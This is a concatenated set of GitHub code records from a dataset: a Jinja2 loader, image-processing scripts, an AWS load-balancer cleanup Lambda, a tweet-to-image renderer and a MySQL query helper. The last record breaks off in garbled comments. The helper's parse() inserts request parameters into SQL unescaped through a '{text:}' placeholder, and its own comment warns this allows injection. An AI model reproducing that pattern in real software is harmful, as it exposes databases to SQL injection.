None\n if this_filename:\n # ecclesia:google3-begin(internal docs)\n # This is how google3/pyglib/resources.py does it too. Call dirname\n # the same number of times as this file is nested to find the root dir.\n #\n # This function breaks if this file is moved to a different root than any\n # of its clients.\n #\n # this_filename is like google3/ecclesia/lib/jinja2/loader.py\n # a common_root can be like \"ecclesia\".\n #\n # pyglib uses google3 as the common_root.\n # This library is configurable as bazel will not have google3 as a dir.\n # ecclesia:google3-end\n tentative_root = os.path.dirname(os.path.abspath(this_filename))\n while tentative_root and os.path.basename(tentative_root) != common_root:\n tentative_root = os.path.dirname(tentative_root)\n if tentative_root:\n root = os.path.dirname(tentative_root)\n return root\n\n\ndef _IsSubPath(root, path: str) -> bool:\n \"\"\"Determine whether resource path is contained within root.\n\n Args:\n root: The path in which the resource is expected to be found.\n path: A resource path.\n\n Returns:\n True if \"path\" is a relative path or if it is an absolute path\n pointing within \"root\".\n \"\"\"\n root = os.path.abspath(root)\n if not os.path.isabs(path):\n path = os.path.join(root, path)\n path = os.path.normpath(path)\n return os.path.commonprefix([root, path]) == root\n\n\ndef _FindResource(path: str, common_root: str) -> str:\n \"\"\"Returns the absolute path for a resource.\"\"\"\n name = os.path.normpath(path)\n root = _DeriveEcclesiaRootFromThisFile(__file__, common_root)\n if root and _IsSubPath(root, name):\n filename = os.path.join(root, name)\n if os.path.isfile(filename):\n return filename\n raise FileNotFoundError('Could not find absolute path for {}'.format(path))\n\n\nclass ResourceLoader(jinja2.BaseLoader):\n \"\"\"Jinja2 loader that supports reading from ecclesia runfiles.\"\"\"\n\n def __init__(self, path: str, common_root: str):\n \"\"\"Constructor.\n\n Arguments:\n path: the path of the directory contaiing the templates, relative to\n common_root.\n common_root: a common root directory between this file (loader.py) and the\n directory containing all of the template files. For example, for some\n files like \"ecclesia/lib/my/subdir/templates/mytemplate.cc.jinja2\"\n \"ecclesia/lib/my/subdir/templates/mytemplate.h.jinja2\" path would be\n \"ecclesia/lib/my/subdir/templates\" common_root would be \"ecclesia\"\n \"\"\"\n super(ResourceLoader, self).__init__()\n self.path = path\n self.common_root = common_root\n\n # pylint: disable=g-bad-name\n def get_source(self, unused_environment: Any,\n template: str) -> Tuple[str, str, Callable[[], bool]]:\n \"\"\"Get the source for a template.\n\n Loads the template from runfiles using google3.pyglib.resources. See\n module comment for differences when running from blaze-bin vs par file.\n\n See http://jinja.pocoo.org/docs/api/#jinja2.BaseLoader.get_source.\n\n Arguments:\n unused_environment: Current Jinja2 environment.\n template: Template name.\n\n Returns:\n A tuple in the form of (source, filename, uptodate):\n source: The source for the template (Unicode string).\n filename: None as we load the file using google3.pyglib.resources.\n uptodate: Function that will be called to see if the template is still\n up to date. If running from blaze-bin, checks mtime, otherwise\n (running from PAR), always returns True.\n \"\"\"\n path = os.path.join(self.path, template)\n try:\n filename = _FindResource(path, self.common_root)\n with open(filename, mode='rb') as f:\n data = f.read()\n mtime = os.path.getmtime(filename)\n uptodate = lambda: os.path.getmtime(filename) == mtime\n except IOError as ioerror:\n raise jinja2.TemplateNotFound(template) from ioerror\n data = data.decode('utf-8')\n return (data, path, uptodate)\n","repo_name":"ep-infosec/50_google_ecclesia-machine-management","sub_path":"ecclesia/lib/jinja2/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":5014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33435658192","text":"import os\r\nimport shutil\r\n\r\nfor dir_name in os.listdir('./labelme_json'):\r\n pic_name = dir_name[:-5] + '.png'\r\n from_dir = './labelme_json/'+dir_name+'/label.png'\r\n to_dir = './cv2_mask/'+pic_name\r\n shutil.copyfile(from_dir, to_dir)\r\n print(from_dir)\r\n print(to_dir)","repo_name":"DreamMemory001/HandStyle_Recognzation_MASK-RCNN","sub_path":"mydata/copy.py","file_name":"copy.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"30261014340","text":"from keras_retinanet import models\nfrom keras_retinanet.utils.image import read_image_bgr, preprocess_image, resize_image\nimport cv2\nimport numpy as np\n\ndef crop_edges(img):\n \"\"\"\n Crops black edges from a full Celigo image\n Must be read in grayscale (single-channel)\n \"\"\"\n imarray = np.array(img)\n slideIndex = [0, len(imarray) - 1, 0, len(imarray[0]) - 1]\n left_indent, top_indent, right_indent, bottom_indent = [0, 0, 0, 0]\n pixel_threshold = 70\n while np.max(imarray[slideIndex[0]]) <= pixel_threshold:\n top_indent += 1\n slideIndex[0] += 1\n while np.max(imarray[slideIndex[1]]) <= pixel_threshold:\n bottom_indent += 1\n slideIndex[1] -= 1\n while np.max(imarray.T[slideIndex[2]]) <= pixel_threshold:\n left_indent += 1\n slideIndex[2] += 1\n while np.max(imarray.T[slideIndex[3]]) <= pixel_threshold:\n right_indent += 1\n slideIndex[3] -= 1\n\n slidedImarray = imarray[\n slideIndex[0]: slideIndex[1],\n slideIndex[2]: slideIndex[3]]\n\n indents = [left_indent, top_indent, right_indent, bottom_indent]\n\n # Returning slide index allows us to keep track of how far the image was cropped\n return [slidedImarray, indents]\n\npld_model_path = '/home/nyscf/Documents/sarita/cell-classifier/preprocessing/brodie/multi_class_v1-1_epoch12.h5'\n\npld_model = models.load_model(pld_model_path, backbone_name='resnet50')\n\nimagelist = [i.strip() for i in open(\"/home/nyscf/Documents/sarita/cell-classifier/preprocessing/brodie/MMR0028_copy_102_104_106_7-15-2019_file_names_v1.txt\")]\n\n\nc = 0\nt = 0\nfor i in imagelist:\n print (\"Reading \" + i.split(\"/\")[-1])\n file_name = i.split(\"/\")[-1]\n prefix = i.split(\"/\")[:-1]\n img_path = \"/\".join(prefix) + \"/\" + file_name.split(\"__\")[-1]\n img = cv2.imread(img_path, 0)\n img, base_coords = crop_edges(img)\n draw = img.copy()\n draw = cv2.cvtColor(draw, cv2.COLOR_GRAY2RGB)\n img = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)\n img = preprocess_image(img)\n img, scale = resize_image(img)\n\n boxes, scores, labels = pld_model.predict_on_batch((np.expand_dims(img, axis=0)))\n\n boxes /= scale\n boxes = boxes.astype(int)\n\n for box, score, label in zip(boxes[0], scores[0], labels[0]):\n if score < 0.5:\n break\n print(\"Found something, saving..\")\n x1, y1, x2, y2 = box\n if label == 0:\n d2 = draw.copy()\n d2 = d2[y1:y2, x1:x2]\n cv2.imwrite(\"/home/nyscf/Desktop/Training_Subets/MMR0028_copy_102_104_106_7-15-2019/\" + file_name.split(\".\")[0] + str(x1) + \"--\" +\n str(y1) + \"--\" + str(x2) + \"--\" + str(y2) + \".jpg\", d2)\n elif label == 2:\n d2 = draw.copy()\n d2 = d2[y1:y2, x1:x2]\n cv2.imwrite(\"/home/nyscf/Desktop/Training_Subets/MMR0028_copy_102_104_106_7-15-2019/\" + file_name.split(\".\")[0] + str(x1) + \"--\" +\n str(y1) + \"--\" + str(x2) + \"--\" + str(y2) + \".jpg\", d2)\n elif label == 1:\n d2 = draw.copy()\n d2 = d2[y1:y2, x1:x2]\n cv2.imwrite(\"/home/nyscf/Desktop/Training_Subets/MMR0028_copy_102_104_106_7-15-2019/\" + file_name.split(\".\")[0] + str(x1) + \"--\" +\n str(y1) + \"--\" + str(x2) + \"--\" + str(y2) + \".jpg\", d2)\n","repo_name":"SarBH/cell-classifier","sub_path":"preprocessing/brodie/pld_subset_all_images.py","file_name":"pld_subset_all_images.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70881829032","text":"#!/usr/bin/env python\n\n\"\"\"\n dynamic_resource_cleanup.py:\n Lambda Function that is used to destroy the dynamic (non CDK managed)\n AWS Resources that are created during ALB Scale-Out operations.\n\"\"\"\n\nimport json\nimport logging\n\nimport boto3\n\nfrom ..remove_alb import (\n delete_load_balancer, \n disassociate_alb_to_waf,\n remove_alb_from_route_53\n)\nfrom ..services.constants_service import ConstantsService\nfrom ..services.fleet_service import FleetService\nfrom ..services.statemachine_service import StateMachineService\n\n# boto3 clients\nstepfunctions_client = boto3.client('stepfunctions')\n\n# services\nfleet_service = FleetService()\nconstants_service = ConstantsService()\nstatemachine_service = StateMachineService()\n\ndef lambda_handler(event, context):\n # set logging\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n \n # print the event details\n logger.debug(json.dumps(event, indent=2))\n \n state_machine_event = {\n \"state_machine_arn\": \"INVOKED_FROM_DYNAMIC_RESOURCE_CLEANER\",\n \"state_machine_name\": \"INVOKED_FROM_DYNAMIC_RESOURCE_CLEANER\",\n \"triggered_by\": \"DYNAMIC_RESOURCE_CLEANER\"\n }\n\n dynamic_alb_fleet = fleet_service.get_load_balancers(constants_service.FILTER_BY_CREATION_DYNAMIC)\n logger.debug(\"Pre-processing dynamic resources\")\n logger.debug(dynamic_alb_fleet)\n\n for dynamic_alb in dynamic_alb_fleet:\n logger.info(f\"Performing cleanup for dynamic alb: {dynamic_alb['LoadBalancerArn']}\")\n logger.debug(dynamic_alb)\n\n logger.info(f\"Deleting load balancer: {dynamic_alb['LoadBalancerArn']}\")\n delete_load_balancer.lambda_handler(state_machine_event, None)\n\n logger.info(f\"Disassociate load balancer from WAF\")\n delete_alb_operation_event = {\n 'output': {\n 'alb_arn': dynamic_alb['LoadBalancerArn'],\n 'alb_name': dynamic_alb['LoadBalancerName'],\n 'alb_dns_name': dynamic_alb['DNSName'],\n 'alb_hosted_zone': dynamic_alb['CanonicalHostedZoneId']\n }\n }\n waf_disassociate_event = {\n 'disassociate_from_waf_operation':{\n 'input':{\n 'loadbalancer_arn': dynamic_alb['LoadBalancerArn']\n }\n },\n 'delete_alb_operation': delete_alb_operation_event\n }\n disassociate_alb_to_waf.lambda_handler(waf_disassociate_event, None)\n\n logger.info(f\"Remove load balancer from Route53\")\n remove_alb_from_route_53.lambda_handler(\n {\n 'delete_alb_operation': delete_alb_operation_event\n }, \n None)\n\n logger.info(f\"Completed dynamic cleanup for: {dynamic_alb['LoadBalancerArn']}\")\n\n\n output = {\n 'PhysicalResourceId': \"dynamic-resource-cleaner-id\",\n 'Data': {\n 'ExecutionArn': \"INVOKED_FROM_DYNAMIC_RESOURCE_CLEANER\"\n }\n }\n logger.info(\"Output: \" + json.dumps(output))\n return output\n","repo_name":"aws-samples/aws-route53-weighted-alb-waf","sub_path":"stacks/weighted_alb_with_waf/resources/lambda/orchestrator/app/customresources/dynamic_resource_cleanup.py","file_name":"dynamic_resource_cleanup.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"37653164020","text":"#!/usr/bin/env python\nimport os\nimport lsst.eotest.sensor as sensorTest\nimport siteUtils\n\nsensor_id = siteUtils.getUnitId()\nfe55_files = siteUtils.datacatalog_glob('*_fe55_fe55_*.fits',\n testtype=\"FE55\",\n imgtype=\"FE55\",\n description='Fe55 files:')\n\n# Roll-off defects mask needs an input file to get the vendor\n# geometry and will be used for all analyses.\nrolloff_mask_file = '%s_rolloff_defects_mask.fits' % sensor_id\nsensorTest.rolloff_mask(fe55_files[0], rolloff_mask_file)\n\ntask = sensorTest.Fe55Task()\ntask.run(sensor_id, fe55_files, (rolloff_mask_file,), accuracy_req=0.01)\n","repo_name":"lsst-camera-dh/harnessed-jobs","sub_path":"SLAC/fe55_offline/v0/producer_fe55_offline.py","file_name":"producer_fe55_offline.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29791090260","text":"import os\nimport random\nimport shutil\nimport urllib.request\n\n\nimport cv2\nimport pandas as pd\nimport requests\nfrom PIL import Image, ImageDraw, ImageOps, ImageFont\nfrom pilmoji import Pilmoji\n\nimport FetchTweets.fetch_tweets as ft\n\ncolor_codes = [[251, 57, 88], [255, 200, 56], [109, 201, 147], [69, 142, 255],\n [18, 86, 136]]\n\n\ndef circle_image(im):\n size = im.size\n mask = Image.new('L', size, 0)\n draw = ImageDraw.Draw(mask)\n draw.ellipse((0, 0) + size, fill=255)\n output = ImageOps.fit(im, mask.size, centering=(0.5, 0.5))\n output.putalpha(mask)\n return output\n\n\ndef get_text_dimensions(text_string, font):\n # https://stackoverflow.com/a/46220683/9263761\n ascent, descent = font.getmetrics()\n text_width = font.getmask(text_string).getbbox()[2]\n text_height = font.getmask(text_string).getbbox()[3] + descent\n return text_width, text_height\n\n\ndef tweets_to_images(file, handle, name, showFavsRt, show_date):\n # let name empty for original name\n if not os.path.exists('cache'):\n os.makedirs('cache')\n tweets = pd.read_csv(file)\n profile_image = ft.get_profile_image(handle)\n if name == \"\":\n name = ft.get_name(handle)\n color2 = color_codes[random.randint(0, len(color_codes) - 1)]\n for ind in tweets.index:\n tweet = tweets['tweet'][ind]\n favs = tweets['favs'][ind]\n retweets = tweets['retweets'][ind]\n tweet_timestamp = tweets['date'][ind]\n tweet_id = tweets['id'][ind]\n media_url = tweets['media_url'][ind]\n color = color_codes[random.randint(0, len(color_codes) - 1)]\n while color2 == color:\n color = color_codes[random.randint(0, len(color_codes) - 1)]\n color2 = color\n tweet_to_image(name, handle, showFavsRt, show_date, tweet,\n tweet_timestamp, favs, retweets, profile_image,\n tweet_id, media_url, color[0], color[1], color[2])\n\n\ndef tweet_in_lines(tweet, tweet_lines, tw_font):\n tweet = tweet.replace(\"\\n\", \" \\n \")\n tweet_words = tweet.split(\" \")\n current_line = \"\"\n for word in tweet_words:\n if word == \"\":\n word = \"\"\n if word == \"\\n\":\n tweet_lines.append(current_line)\n current_line = \"\"\n continue\n if word.startswith(\"https://t.co\"):\n continue\n if current_line != \"\":\n filler = \" \"\n else:\n filler = \"\"\n if current_line != \"\" and word != \"\" and get_text_dimensions(\n current_line + filler + word, tw_font)[0] > 900:\n tweet_lines.append(current_line)\n current_line = word\n else:\n current_line += filler + word\n if len(current_line) > 0:\n tweet_lines.append(current_line)\n return len(tweet_lines)\n\n\ndef tweet_to_image(name, username, showFavsRt, show_date, tweet,\n tweet_timestamp, favs, retweets, profile_image, tweet_id,\n media_url, r, g, b):\n tw_font = ImageFont.truetype(\"fonts/HelveticaNeueLight.ttf\", 40)\n name_font = ImageFont.truetype(\"fonts/HelveticaNeueBold.ttf\", 40)\n username_font = ImageFont.truetype(\"fonts/HelveticaNeueLight.ttf\", 35)\n date_font = ImageFont.truetype(\"fonts/HelveticaNeueLight.ttf\", 30)\n if not os.path.exists('cache'):\n os.makedirs('cache')\n words = tweet.split(\" \")\n to_remove = []\n tweet_lines = []\n rectangle_w = 0\n for word in words:\n if word.startswith(\"https://t.co\"):\n response = requests.get(word)\n if \"photo\" not in response.url and \"video\" not in response.url:\n to_remove.append(word)\n continue\n to_remove.append(word)\n for tr in to_remove:\n words.remove(tr)\n tweet = \" \".join(words)\n media_url = media_url.replace(\"[\", \"\").replace(\"]\",\n \"\").replace(\"'\",\n \"\").split(\",\")\n medias = len(media_url)\n if medias == 1 and media_url[0] == \"\":\n medias = 0\n media_sizes = []\n media_no = 1\n for url in media_url:\n if url != \"\":\n medianame = 'cache/' + str(media_no) + \".png\"\n urllib.request.urlretrieve(url, medianame)\n im = cv2.imread(medianame).shape\n media_sizes.append([im[0], im[1]])\n media_no += 1\n tweet2 = tweet[:]\n tweet_lines2 = tweet_lines[:]\n amo_lines = tweet_in_lines(tweet2, tweet_lines2, tw_font)\n for media_size in media_sizes:\n w_factor = 1\n h_factor = 1\n if medias == 2 or medias == 4 or medias == 3:\n w_factor = 2\n if medias == 4 or medias == 3:\n h_factor = 2\n if media_size[1] > int(700 / w_factor):\n how_smaller = int(700 / w_factor) / media_size[1]\n media_size[1] = int(700 / w_factor)\n media_size[0] = int(how_smaller * media_size[0])\n if media_size[0] > int((500 - amo_lines * 70) / h_factor):\n amo_lines2 = amo_lines\n if amo_lines2 > 6:\n amo_lines2 = 6\n how_smaller = int(\n (500 - amo_lines2 * 70) / h_factor) / media_size[0]\n media_size[0] = int((500 - amo_lines2 * 70) / h_factor)\n media_size[1] = int(how_smaller * media_size[1])\n width = 1080\n height = 1080\n urllib.request.urlretrieve(profile_image, \"cache/p_img.png\")\n profile_image = Image.open(\"cache/p_img.png\", 'r')\n profile_image = circle_image(profile_image)\n profile_image = profile_image.resize((180, 180))\n img = Image.new(mode=\"RGB\", size=(width, height), color=(r, g, b))\n img_w, img_h = profile_image.size\n bg_w, bg_h = img.size\n # offset = ((bg_w - img_w) // 6, (bg_h - img_h) // 6)\n draw = ImageDraw.Draw(img)\n tweet_size = get_text_dimensions(tweet, tw_font)\n tweet_w = (width - 900) // 2\n tweet_h = (height - tweet_size[1]) // 2 + 50\n if medias == 1:\n media_offset_h = media_sizes[0][0]\n elif medias == 2:\n if media_sizes[0][0] > media_sizes[1][0]:\n media_offset_h = media_sizes[0][0]\n else:\n media_offset_h = media_sizes[1][0]\n elif medias == 4:\n if media_sizes[0][0] > media_sizes[1][0]:\n media_offset_h = media_sizes[0][0]\n else:\n media_offset_h = media_sizes[1][0]\n if media_sizes[2][0] > media_sizes[3][0]:\n media_offset_h += media_sizes[2][0]\n else:\n media_offset_h += media_sizes[3][0]\n media_offset_h += 20\n elif medias == 3:\n if media_sizes[0][0] > media_sizes[1][0]:\n media_offset_h = media_sizes[0][0]\n else:\n media_offset_h = media_sizes[1][0]\n media_offset_h += media_sizes[2][0]\n media_offset_h += 20\n else:\n media_offset_h = 0\n if tweet_size[0] <= 900 and \"\\n\" not in tweet:\n tweet_w = (width - tweet_size[0]) // 2\n tweet_h = (height - tweet_size[1] - media_offset_h) // 2 + 50\n if tweet_size[0] <= 700:\n tweet_w = (width - 700) // 2\n tweet_h = (height - tweet_size[1] - media_offset_h) // 2 + 50\n draw.rectangle(((tweet_w - 60, tweet_h - 300),\n (tweet_w + 700 + 60,\n tweet_h + tweet_size[1] + media_offset_h + 200)),\n fill=\"white\")\n rectangle_w = tweet_w + 700 + 60\n else:\n draw.rectangle(((tweet_w - 60, tweet_h - 300),\n (tweet_w + tweet_size[0] + 60,\n tweet_h + tweet_size[1] + media_offset_h + 200)),\n fill=\"white\")\n rectangle_w = tweet_w + tweet_size[0] + 60\n with Pilmoji(img) as pilmoji:\n pilmoji.text((tweet_w, tweet_h), tweet, (0, 0, 0), font=tw_font)\n else:\n tweet_in_lines(tweet, tweet_lines, tw_font)\n tweet_w = (width - 900) // 2\n tweet_h = (height - (tweet_size[1] + 15) * len(tweet_lines) -\n media_offset_h) // 2 + 50\n draw.rectangle(((tweet_w - 60, tweet_h - 300),\n (tweet_w + 900 + 60, tweet_h + media_offset_h +\n (tweet_size[1] + 15) * len(tweet_lines) + 200)),\n fill=\"white\")\n rectangle_w = tweet_w + 900 + 60\n line_no = 0\n for tweet_line in tweet_lines:\n with Pilmoji(img) as pilmoji:\n pilmoji.text(\n (tweet_w, tweet_h + (tweet_size[1] + 15) * line_no),\n tweet_line, (0, 0, 0),\n font=tw_font)\n\n line_no += 1\n img.paste(profile_image, (tweet_w, tweet_h - 250), profile_image)\n Pilmoji(img).text((tweet_w + 200, tweet_h - 200),\n name, (0, 0, 0),\n font=name_font)\n Pilmoji(img).text((tweet_w + 200, tweet_h - 140),\n \"@\" + username, (83, 100, 113),\n font=username_font)\n if len(tweet_lines) == 0:\n len_tweet_lines = 1\n else:\n len_tweet_lines = len(tweet_lines)\n fr_offset = tweet_h + (tweet_size[1] + 15) * (1 + len_tweet_lines)\n if medias == 1:\n media = Image.open(\"cache/1.png\", 'r')\n media = media.resize((media_sizes[0][1], media_sizes[0][0]))\n img.paste(media, ((width - media_sizes[0][1]) // 2, tweet_h +\n (tweet_size[1] + 15) * len_tweet_lines))\n fr_offset = tweet_h + (tweet_size[1] +\n 15) * len_tweet_lines + media_offset_h + 50\n if medias == 2:\n media_1 = Image.open(\"cache/1.png\", 'r')\n media_2 = Image.open(\"cache/2.png\", 'r')\n media_1 = media_1.resize((media_sizes[0][1], media_sizes[0][0]))\n media_2 = media_2.resize((media_sizes[1][1], media_sizes[1][0]))\n img.paste(media_1,\n ((width - media_sizes[0][1] - media_sizes[1][1] - 20) // 2,\n tweet_h + (tweet_size[1] + 15) * len_tweet_lines))\n img.paste(media_2,\n ((width - media_sizes[0][1] - media_sizes[1][1]) // 2 +\n media_sizes[0][1] + 20, tweet_h + (tweet_size[1] + 15) *\n len_tweet_lines))\n fr_offset = tweet_h + (tweet_size[1] +\n 15) * len_tweet_lines + media_offset_h + 50\n if medias == 4 or medias == 3:\n media_1 = Image.open(\"cache/1.png\", 'r')\n media_2 = Image.open(\"cache/2.png\", 'r')\n media_3 = Image.open(\"cache/3.png\", 'r')\n media_1 = media_1.resize((media_sizes[0][1], media_sizes[0][0]))\n media_2 = media_2.resize((media_sizes[1][1], media_sizes[1][0]))\n media_3 = media_3.resize((media_sizes[2][1], media_sizes[1][0]))\n if medias == 4:\n media_4 = Image.open(\"cache/4.png\", 'r')\n media_4 = media_4.resize((media_sizes[3][1], media_sizes[1][0]))\n img.paste(\n media_4,\n ((width - media_sizes[2][1] - media_sizes[3][1]) // 2 +\n media_sizes[2][1] + 20, 20 + media_sizes[1][0] + tweet_h +\n (tweet_size[1] + 15) * len_tweet_lines))\n img.paste(media_3,\n ((width - media_sizes[2][1] - media_sizes[3][1] - 20) //\n 2, 20 + media_sizes[0][0] + tweet_h +\n (tweet_size[1] + 15) * len_tweet_lines))\n else:\n img.paste(media_3, ((width - media_sizes[2][1]) // 2,\n 20 + media_sizes[0][0] + tweet_h +\n (tweet_size[1] + 15) * len_tweet_lines))\n img.paste(media_1,\n ((width - media_sizes[0][1] - media_sizes[1][1] - 20) // 2,\n tweet_h + (tweet_size[1] + 15) * len_tweet_lines))\n img.paste(media_2,\n ((width - media_sizes[0][1] - media_sizes[1][1]) // 2 +\n media_sizes[0][1] + 20, tweet_h + (tweet_size[1] + 15) *\n len_tweet_lines))\n fr_offset = tweet_h + (tweet_size[1] +\n 15) * len_tweet_lines + media_offset_h + 50\n\n if showFavsRt:\n rectangle_w = rectangle_w - (tweet_w - 60)\n fav_img = Image.open(\"resources/fav.png\", 'r')\n rt_img = Image.open(\"resources/rt.png\", 'r')\n fav_img = fav_img.resize((50, 50))\n rt_img = rt_img.resize((66, 40))\n img.paste(fav_img,\n ((tweet_w - 60) + int(rectangle_w * 0.3), fr_offset + 50),\n fav_img)\n img.paste(rt_img,\n ((tweet_w - 60) + int(rectangle_w * 0.6), fr_offset + 50),\n rt_img)\n draw.text(\n ((tweet_w - 60) + int(rectangle_w * 0.3) + 70, fr_offset + 50),\n str(favs), (0, 0, 0),\n font=username_font)\n draw.text(\n ((tweet_w - 60) + int(rectangle_w * 0.6) + 80, fr_offset + 50),\n str(retweets), (0, 0, 0),\n font=username_font)\n if show_date:\n tweet_timestamp2 = tweet_timestamp.split(\"-\")\n tweet_timestamp3 = tweet_timestamp2[2].split(\" \")\n tweet_timestamp4 = tweet_timestamp3[1].split(\":\")\n months = [\n \"Jan.\", \"Feb.\", \"März\", \"Apr.\", \"Mai\", \"Juni\", \"Juli\", \"Aug.\",\n \"Sep.\", \"Okt.\", \"Nov.\", \"Dez.\"\n ]\n if int(tweet_timestamp4[0]) < 12:\n tweet_timestamp4[1] += \" vorm.\"\n else:\n tweet_timestamp4[1] += \" nachm.\"\n if int(tweet_timestamp4[0]) != 12:\n tweet_timestamp4[0] = str(int(tweet_timestamp4[0]) - 12)\n if int(tweet_timestamp4[0]) == 0:\n tweet_timestamp4[0] = \"12\"\n\n tweet_timestamp = tweet_timestamp4[0] + \":\" + tweet_timestamp4[\n 1] + \" · \" + tweet_timestamp3[0] + \". \" + months[\n int(tweet_timestamp2[1]) - 1] + \" \" + tweet_timestamp2[0]\n draw.text((tweet_w, fr_offset - 40),\n tweet_timestamp, (83, 100, 113),\n font=date_font)\n if not os.path.exists('tweet_images/' + username):\n os.makedirs('tweet_images/' + username)\n img.save(\"tweet_images/\" + username + \"/\" + str(tweet_id) + \".jpg\")\n print(\"tweet_images/\" + username + \"/\" + str(tweet_id) + \".jpg saved.\")\n shutil.rmtree('cache')\n","repo_name":"EinGuterWaran/Tweet2Image","sub_path":"tweet_image.py","file_name":"tweet_image.py","file_ext":"py","file_size_in_byte":14322,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"70024872553","text":"import os\nimport pymysql\nimport time\nfrom flask import request\nimport pymysql.cursors\nfrom jarvan import kms_helper\nfrom jarvan import j\nimport json\nfrom flask import g\n\ndef get_sql_history():\n h=[]\n for sql in g.sql_history:\n if \"select email from main_sessions where hash=\" not in sql:\n h.append(\" \".join(sql.split())) \n return h\n\n\ndef open_connection(credentials):\n \"\"\"Opens connection.\n \"\"\"\n g.sql_history = []\n\n try:\n cred = json.loads(kms_helper.decrypt(credentials))\n except json.decoder.JSONDecodeError:\n return None\n\n if \"local\" in request.host:\n cred[\"CLOUD_SQL_CONNECTION_NAME\"] = None\n else:\n cred[\"CLOUD_SQL_DATABASE_HOST\"] = None\n \n\n g.db_connection = pymysql.connect(\n user=cred[\"CLOUD_SQL_USERNAME\"],\n password=cred[\"CLOUD_SQL_PASSWORD\"],\n unix_socket=cred[\"CLOUD_SQL_CONNECTION_NAME\"],\n db=cred[\"CLOUD_SQL_DATABASE_NAME\"],\n host=cred[\"CLOUD_SQL_DATABASE_HOST\"],\n cursorclass=pymysql.cursors.DictCursor)\n\n g.db_cursor = g.db_connection.cursor()\n\n\n\ndef full_res(sql, params=None, count=0):\n \"\"\"Returns full dataset.\n\n Args:\n sql: SELECT string\n params: params to update the query\n\n Returns:\n Array of records\n \"\"\"\n out = []\n sql = parse(sql, params)\n g.db_cursor.execute(sql)\n data = g.db_cursor.fetchall()\n for row in data:\n out.append(row)\n\n g.sql_history.append(g.db_cursor._last_executed) \n\n return out\n\n\ndef first_row(sql, params=None, count=0):\n \"\"\"Returns first row of dataset.\n\n Args:\n sql: SELECT string\n params: params to update the query\n\n Returns:\n First record\n \"\"\"\n out = None\n sql = parse(sql, params)\n g.db_cursor.execute(sql)\n data = g.db_cursor.fetchone()\n if data:\n out = data\n\n g.sql_history.append(g.db_cursor._last_executed) \n\n return out\n\n\ndef insert(sql, params=None):\n query(sql, params)\n return res(\"SELECT LAST_INSERT_ID()\")\n\ndef query(sql, params=None):\n \"\"\"Executes a query, i.e UPDATE or INSERT.\n\n Args:\n sql: SELECT string\n params: params to update the query\n\n Returns:\n Int, number of affected records\n \"\"\"\n out = 0\n sql = parse(sql, params)\n g.db_cursor.execute(sql)\n out = g.db_cursor.rowcount\n g.sql_history.append(g.db_cursor._last_executed) \n\n g.db_connection.commit()\n \n return out\n\n\ndef res(sql, params=None, count=0):\n \"\"\"Returns first field of first record of dataset.\n\n Args:\n sql: SELECT string\n params: params to update the query\n\n Returns:\n string with result\n \"\"\"\n sql = parse(sql, params)\n g.db_cursor.execute(sql)\n result = \"\"\n row = g.db_cursor.fetchone()\n\n g.sql_history.append(g.db_cursor._last_executed) \n\n if row:\n for field in row:\n return str(row[field])\n\n return \"\"\n\n\ndef res_int(sql, params=None):\n \"\"\"Returns first field of first record of dataset as int.\n\n Args:\n sql: SELECT string\n params: params to update the query\n\n Returns:\n int with result\n \"\"\"\n out = 0\n try:\n out = int(res(sql, params))\n except ValueError:\n pass\n\n return out\n\nimport re\nfrom decimal import Decimal, DecimalException\n\n\n\ndef parse(q, method_params={}):\n params = {}\n\n for v in request.values:\n params[v] = j.get_param(v)\n \n # iterate method params\n try:\n for p in method_params:\n params[p] = method_params[p]\n except TypeError:\n pass\n\n\n # replace dict as a list of strings\n m = (re.findall(r\"\\{list:([\\[\\]\\ A-Za-z0-9\\_]*)\\}\", q))\n replaced = \"\"\n for p in m:\n if p in method_params:\n params[p] = method_params[p]\n else:\n params[p] = j.get_list_param(p)\n\n\n # found, replace\n for value in params[p]:\n if replaced:\n replaced = replaced + \", \"\n v = str(value)\n v = escape(v)\n replaced = replaced + \"'\" + v + \"'\" \n q = q.replace(\"{list:\"+p+\"}\", replaced)\n\n\n # replace as decimal \n m = (re.findall(r\"\\{decimal\\:([\\ A-Za-z0-9\\_]*)\\}\", q))\n for p in m:\n v = 0.0\n if p in params:\n try:\n v = Decimal(str(params[p]))\n except DecimalException:\n pass \n except ValueError:\n pass \n q = q.replace(\"{decimal:\"+p+\"}\", str(v))\n\n # replace as integer \n m = (re.findall(r\"\\{int\\:([\\ A-Za-z0-9\\_]*)\\}\", q))\n for p in m:\n v = 0\n if p in params:\n try:\n v = int(str(params[p]).split('.')[0])\n except ValueError:\n pass \n q = q.replace(\"{int:\"+p+\"}\", str(v))\n\n # replace as plain text without qoutes and without escaping. \n # WARNING: use it only with controlled parameters, as it will\n # not protect against sql injection. \n m = (re.findall(r\"\\{text\\:([\\ A-Za-z0-9\\_]*)\\}\", q))\n for p in m:\n v = \"\"\n if p in params:\n v = params[p]\n q = q.replace(\"{text:\"+p+\"}\", str(v))\n\n # replace as string \n m = (re.findall(r\"\\{([\\ A-Za-z0-9\\_]*)\\}\", q))\n for p in m:\n v = \"\"\n if p in params:\n v = str(params[p])\n v = escape(v)\n q = q.replace(\"{\"+p+\"}\", \"'\" + v + \"'\")\n\n if method_params and \"print\" in method_params:\n print(q)\n\n return q\n\ndef escape(v):\n return g.db_connection.escape(v)[1:][:-1]\n","repo_name":"google/jarvan","sub_path":"src/jarvan/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":5000,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"15044504699","text":"# ?dp?????????\r\n# ?????????????????????\r\n# ?\r\n# 